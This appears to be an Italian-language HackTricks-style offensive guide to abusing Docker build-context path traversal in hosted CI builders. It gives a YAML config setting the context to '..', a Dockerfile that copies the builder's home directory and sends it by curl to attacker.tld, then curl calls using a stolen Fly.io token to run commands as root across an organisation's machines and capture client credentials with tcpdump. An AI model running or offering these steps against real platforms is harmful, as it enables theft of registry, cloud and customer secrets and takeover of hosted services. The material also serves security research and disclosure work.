5.2 KiB
Abuso del Docker Build Context nei Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
TL;DR
Se una piattaforma CI/CD o un hosted builder permette ai contributor di specificare il percorso del Docker build context e il percorso del Dockerfile, spesso puoi impostare il context su una directory padre (es., "..") e includere file dell'host nel build context. A quel punto, un Dockerfile controllato dall'attaccante può usare COPY ed exfiltrate secrets trovati nella home dell'utente del builder (per esempio, ~/.docker/config.json). I registry tokens rubati possono anche funzionare contro le control-plane APIs del provider, consentendo RCE a livello di organizzazione.
Superficie d'attacco
Molti servizi hosted builder/registry eseguono più o meno questo quando costruiscono immagini fornite dagli utenti:
- Leggere una config a livello di repo che include:
- build context path (inviato al Docker daemon)
- Dockerfile path relativo a quel context
- Copiare la directory del build context indicata e il Dockerfile al Docker daemon
- Buildare l'immagine ed eseguirla come servizio ospitato
Se la piattaforma non canonicalizza e limita il build context, un utente può impostarlo su una posizione esterna al repository (path traversal), causando che file arbitrari dell'host leggibili dall'utente di build diventino parte del build context e siano disponibili per COPY nel Dockerfile.
Vincoli pratici comunemente osservati:
- Il Dockerfile deve risiedere all'interno del path di context scelto e il suo percorso deve essere noto in anticipo.
- L'utente di build deve avere permessi di lettura sui file inclusi nel context; file di device speciali possono interrompere la copia.
PoC: Path traversal via Docker build context
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
Note:
- L'uso di ".." spesso risolve nella home dell'utente builder (es., /home/builder), che tipicamente contiene file sensibili.
- Posiziona il tuo Dockerfile nella directory con il nome del repo (es., repo "test" → test/Dockerfile) in modo che rimanga all'interno del contesto genitore espanso.
PoC: Dockerfile per ingerire ed esfiltrare il contesto del host
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
Obiettivi comunemente recuperati da $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Altre cache e config cloud/CLI (es., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Suggerimento: Anche con un .dockerignore nel repository, la selezione del contesto lato piattaforma vulnerabile continua a governare ciò che viene inviato al daemon. Se la piattaforma copia il percorso scelto al daemon prima di valutare il .dockerignore del tuo repo, file dell'host potrebbero comunque essere esposti.
Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
Alcune piattaforme emettono un singolo bearer token utilizzabile sia per il container registry sia per il control-plane API. Se riesci a exfiltrate un registry token, provane l'uso contro l'API del provider.
Esempi di chiamate API contro Fly.io Machines API usando lo stolen token da ~/.docker/config.json:
Enumerate apps in an org:
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
Eseguire un comando come root su qualsiasi macchina di un'app:
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
Risultato: remote code execution a livello di organizzazione su tutte le app ospitate dove il token possiede privilegi sufficienti.
Furto di segreti da servizi ospitati compromessi
Con exec/RCE su server ospitati, puoi raccogliere segreti forniti dal client (API keys, tokens) o eseguire attacchi di prompt-injection. Esempio: installare tcpdump e catturare il traffico HTTP sulla porta 8080 per estrarre le credenziali in ingresso.
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
Le richieste catturate spesso contengono credenziali client nelle intestazioni, nei corpi o nei parametri di query.
Riferimenti
- Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
- Fly.io Machines API
{{#include ../banners/hacktricks-training.md}}